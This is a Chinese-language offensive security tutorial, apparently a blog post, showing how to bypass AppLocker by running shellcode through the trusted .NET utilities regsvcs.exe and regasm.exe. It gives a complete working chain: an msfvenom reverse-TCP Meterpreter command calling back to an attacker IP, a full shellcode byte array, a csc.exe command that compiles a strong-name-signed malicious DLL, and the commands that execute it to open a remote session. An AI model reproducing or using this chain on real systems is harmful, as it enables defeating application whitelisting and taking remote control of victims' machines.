导语:Regasm和Regsvcs都是用于向COM对象注册程序集文件的Microsoft二进制文件。 这些二进制文件可以在.NET框架中找到,并且由于它们是可信的,所以这两个Microsoft实用程序可以用于绕过AppLocker限制和执行任意代码。

Regasm和Regsvcs都是用于向COM对象注册程序集文件的Microsoft二进制文件。 这些二进制文件可以在.NET框架中找到,并且由于它们是可信的,所以这两个Microsoft实用程序可以用于绕过AppLocker限制和执行任意代码。

Casey Smith发现可以操纵这些可执行文件的功能,用于执行恶意代码。 唯一的要求是组装的文件需要使用强名称进行签名。 Microsoft已经发布了名为Sn.exe(Strong Name Tool)的实用程序,它是Visual Studio和.NET框架工具的一部分,可用于生成一对公钥和私钥。

下面的命令将生成一个私钥和一个公钥对,这些值将被写入一个名为key.snk的文件。

111.png

强名称密钥对生成

Metasploit MsfVenom可用于生成将在目标系统上执行的恶意shellcode。

msfvenom -a x86 –platform Windows -p   windows/meterpreter/reverse_tcp LHOST=192.168.100.3   LPORT=4444 -f csharp

生成好的regsvcs.dll 文件中的ShellCode需要替换成 Casey Smith 开发的用于打开一个 Meterpreter 会话的ShellCode而不是弹出一个计算器。

byte[] shellcode = new byte[333] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x64,0x03,0x68,0x02,
0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,
0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,
0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,
0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,
0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,
0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,
0x53,0xff,0xd5 };

222.png

使用 MsfVenom 生成 C#版的 ShellCode

微软.NET 框架包含了一个可以在cmd中运行的VC# 编译器并且可以生成恶意的 DLL 文件。key.snk 文件可以用来对生成的DLL作签名。

C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /r:System.EnterpriseServices.dll   /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs

333.png

编译 C# 代码

regsvcs.exe 和 RegAsm.exe 这两个文件可以用来执行DLL文件中的恶意Shellcode 代码,甚至可以打开一个 Meterpreter 会话。 这可以证明,在一个禁止执行恶意二进制文件的系统只能怪,利用AppLocker 可信的微软二进制文件的方式就可以绕过这些限制,从而达到执行恶意代码的目的。

C:WindowsMicrosoft.NETFrameworkv4.0.30319regsvcs.exe regsvcs.dll
C:WindowsMicrosoft.NETFrameworkv4.0.30319regsvcs.exe /U regsvcs.dll

444.png

利用 Regsvcs 执行 Shellcode

C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe regsvcs.dll
C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe /U regsvcs.dll

555.png

利用 RegAsm 执行 Shellcode

666.png

利用 Regsvcs 和 Regasm获得Meterpreter会话

资源

https://msdn.microsoft.com/en-us/library/d9kh6s92(v=vs.110).asp

https://gist.githubusercontent.com/subTee/fb09ef511e592e6f7993/raw/e9b28e7955a5646672267a61e9685fc5a4ab5f2a/regsvcs.cs

源链接

Hacking more

...